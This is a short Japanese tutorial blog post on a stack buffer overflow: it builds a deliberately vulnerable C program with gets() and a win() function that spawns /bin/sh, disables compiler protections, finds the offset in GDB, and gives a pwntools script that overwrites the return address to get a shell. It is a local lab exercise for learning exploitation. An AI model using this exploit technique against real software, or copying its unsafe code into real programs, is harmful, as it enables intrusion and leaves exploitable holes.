バッファオーバーフローテスト ー 1
これが一番簡単なプログラムですが、コーディングが全然しない人に対する、理解が難しいです。
何の意味か、例えば、パソコンメモリーのサイズが4GB、超える場合はシステムがNGになる、なので、エラーが起こる。
一般的なエラーだったら、再起動すればいいです。もし、バッファオーバーフローのバッグは悪い人に利用されたら、危うくになる。
関連知識:
プログラム知識
メモリー分配
GDBディバッグコマンド
まず、下記のようなプログラムを用意します
#include <stdio.h>
void win()
{
system("/bin/sh");
}
void main()
{
char buf[20];
gets(buf);
}
これから、利用のことを説明します。
上記のプログラムをコンパイルします。
gcc -fno-stack-protector -zexecstack
-fno-stack-protector -no-pie -z norelro main.c -o main
gdbでディバッグする
gets
は入力のメソッドです。入力の際は私たちが多くのデータを入力してみましょう。
僕が「AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL」を入力しました。
エラーが起こりました。これは重点なことではない、注意してください。
重点なことは、データは短くになりました。無くなったデータはメモリーに振り分けました。
オフセットを計算します。
オフセットは40です。
winのメソッドメモリーアドレスは 0x401132です。
OK、必要なデータ取得しました。次はスクリプトをかきます。
from pwn import *
def main():
p = process("/home/user/Desktop/pwn/3/main")
t = p.elf.symbols['win']
print(hex(t))
injectAddr = 0x401132
p1 = ('A'*40).encode() + p64(injectAddr)
p.send_raw(p1)
p.interactive()
if __name__ == "__main__":
main()
実行してみましょう
OKでした、成功にWinメソッドを実行しました。
评论
发表评论